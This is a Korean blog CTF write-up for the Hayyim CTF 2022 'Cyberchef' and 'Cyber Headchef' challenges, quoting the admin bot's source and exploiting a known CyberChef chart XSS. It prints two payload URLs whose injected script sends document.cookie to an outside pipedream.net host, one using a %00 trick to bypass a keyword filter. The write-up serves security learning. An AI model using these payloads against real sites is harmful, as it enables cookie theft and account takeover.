ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Clear] Hayyim CTF 2022 Cyberchef, Cyber Headchef Writeup
    CTF/Hayyim CTF 2022 2022. 2. 12. 12:58

    Instance에는 CyberChef가, 

    Bot에는 서버가 해당 URL을 접근하도록 하는 Bot이 구현되어 있다.

    const webdriver = require('selenium-webdriver');
    const capabilities = webdriver.Capabilities.chrome();
    
    const flag = require('fs').readFileSync('/flag').toString().trim();
    
    const rateLimit = 30 * 1000;
    const pageTimeout = 3 * 1000;
    const urlPrefix = 'http://cyberchef:8000/';
    
    const timestamps = new Map();
    
    const sleep = (ms) => {
      return new Promise((resolve) => {
        setTimeout(() => resolve(), ms);
      });
    };
    
    const checkRateLimit = (key) => {
      const now = Date.now();
    
      if (timestamps.has(key) && timestamps.get(key) > now - rateLimit) {
        return false;
      }
    
      timestamps.set(key, now);
      return true;
    };
    
    const checkUrl = (url) => {
      return !(typeof url !== 'string' || !url.startsWith(urlPrefix) || url.length > 1024);
    };
    
    const visitUrl = (url) => {
      return new Promise(async (resolve) => {
        const driver = new webdriver.Builder('chrome')
          .usingServer('http://selenium:4444/wd/hub/')
          .withCapabilities(capabilities)
          .build();
    
        await driver.get(urlPrefix);
    
        await driver.manage().addCookie({
          name: 'flag',
          value: flag
        });
    
        await driver.manage().setTimeouts({
          implicit: pageTimeout,
          pageLoad: pageTimeout,
          script: pageTimeout
        });
    
        await driver.get(url);
        await sleep(pageTimeout);
        await driver.quit();
    
        resolve();
      });
    };
    
    module.exports = {
      checkRateLimit,
      checkUrl,
      visitUrl
    };

    주어진 소스코드 분석 결과 참고할점은 아래와 같다.

    1. Bot은 CyberChef 로만 호출 가능하다.

    2. 서버는 크롬 브라우저를 활용해서 접근한다.

    3. 플래그는 Bot의 쿠키에 저장된다.

     

    즉 서버에서 CyberChef에 접근하도록 하면서 XSS를 통해 서버의 쿠키를 탈취해야하는데 CyberChef라는 알려진 제품에서 XSS를 찾기는 어려웠다.

    그래서 혹시 알려진 취약점이 있는지 확인하기 위해 다운로드 기능에서 버전을 확인했다. 

     

    조사 결과 아래 레퍼런스에서 해당 버전에서 XSS취약점이 발생함을 알 수 있었다.

    https://github.com/gchq/CyberChef/issues/1265

     

    XSS in colour field of Scatter chart / Series chart · Issue #1265 · gchq/CyberChef

    Describe the bug The SVG charts generated by "Scatter chart" and "Series chart" do not sufficiently escape the colour attribute, leading to reflected XSS. To Reproduce Create a ...

    github.com

     

    샘플의 스크립트 코드를 fetch구문으로 수정하여 개인서버로 플래그를 전송했다.

    http://cyberchef:8000/#recipe=Scatter_chart(%27Line%20feed%27,%27Space%27,false,%27%27,%27%27,%27red%22%3E%3Cscript%3Efetch(%22https://enp179nau186i4.m.pipedream.net/%22%2Bdocument.cookie)%3C/script%3E%27,100,false)&input=MTAwLCAxMDA

    FLAG =

    hsctf{fa98fe3d32b4302aff1c322c925238a9d935b636f265cbfdd798391ca9c5a905}

     

     

     

    Cyber Headchef 문제는 Cyberchef의 리벤지문제였다. 추가된 내용은 아래와 같다.

    else if (unescape(url).indexOf('chart') !== -1) {
        res.redirect('/?message=sorry, headchef doesn\'t like chart!');

    chart 구문을 사용 못하게제한해놨다는 내용이다.

    하지만 chart사이에 %00를 넣어서 요청하면, 위 구문이 우회됨가 동시에 봇이 크롬브라우저를 통해 요청을 보낼때는 %00이 무시되어서 정상적으로 chart 구문이 포함된 URL에 요청을 할 수 있다.

    http://cyberchef:8000/#recipe=Scatter_cha%00rt(%27Line%20feed%27,%27Space%27,false,%27%27,%27%27,%27red%22%3E%3Cscript%3Efetch(%22https://enngfntpvbo0otw.m.pipedream.net/%22%2Bdocument.cookie)%3C/script%3E%27,100,false)&input=MTAwLCAxMDA

     

    FLAG =

    hsctf{be9e5b8bce203e203597dca3d67e0f7a38e359a9ab7799988e888be073c78da0}

    반응형

    'CTF > Hayyim CTF 2022' 카테고리의 다른 글

    [Clear] Hayyim CTF 2022 Not E Writeup  (0) 2022.02.13

    댓글

Designed by Tistory.